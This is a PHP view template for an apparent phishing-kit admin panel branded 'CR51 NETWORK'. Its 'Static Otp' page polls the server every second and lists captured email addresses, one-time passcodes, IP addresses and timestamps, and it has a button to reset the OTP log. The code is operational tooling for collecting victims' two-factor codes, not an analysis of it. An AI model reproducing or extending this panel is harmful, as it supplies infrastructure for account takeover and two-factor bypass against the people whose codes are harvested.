<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <title>CR51 NETWORK - Admin Panel</title>
    <link rel="stylesheet" href="<?= base_url() ?>CR51/Assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i">
    <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css">
    <link rel="stylesheet" href="<?= base_url() ?>CR51/Assets/css/ready.css">
    <link rel="stylesheet" href="<?= base_url() ?>CR51/Assets/css/demo.css">
</head>

<body>
    <?php echo view('panel/menu'); ?>

    <script type="text/javascript">
        setInterval(function() {
            fetch('<?= base_url() ?>panel/logotp')
                .then(r => r.text())
                .then(data => {
                    console.log(data)
                    document.getElementById("tr").innerHTML = data
                })
        }, 1000);
    </script>
    <div class="main-panel">
        <div class="content">
            <div class="container-fluid">
                <h4 class="page-title">Static Otp
                    <form role="form" action="resetotp" method="POST" class="form login">
                        <input type="password" name="resetotp" class="form-control" value="resetotp" hidden="">
                        <button class="btn btn-danger btn-xs" name="gasreset">Reset Log Otp</button>
                    </form>
                </h4>
                <div class="row">
                    <div class="col-md-12">
                        <div class="card">
                            <div class="card-body">
                                <div class="card-sub">
                                    This page is realtime, if you not refresh.
                                </div>
                                <table *ngIf="dataSource" mat-table [dataSource]="dataSource" class="table mt-3">
                                    <thead>
                                        <tr>
                                            <th scope="col">Email</th>
                                            <th scope="col">Otp</th>
                                            <th scope="col">Ip</th>
                                            <th scope="col">Type</th>
                                            <th scope="col">Time</th>
                                        </tr>
                                    </thead>
                                    <tbody id="tr">
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php echo view('panel/footer'); ?>
</body>
<script src="<?= base_url() ?>CR51/Assets/js/core/jquery.3.2.1.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/jquery-ui-1.12.1.custom/jquery-ui.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/core/popper.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/core/bootstrap.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/chartist/chartist.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/chartist/plugin/chartist-plugin-tooltip.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/bootstrap-toggle/bootstrap-toggle.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/jquery-mapael/jquery.mapael.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/jquery-mapael/maps/world_countries.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/chart-circle/circles.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/jquery-scrollbar/jquery.scrollbar.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/ready.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/demo.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js"></script>
<?php if (@$_SESSION['sukses']) { ?>
    <script>
        <?php echo $_SESSION['sukses']; ?>
    </script>
<?php unset($_SESSION['sukses']);
} ?>

</html>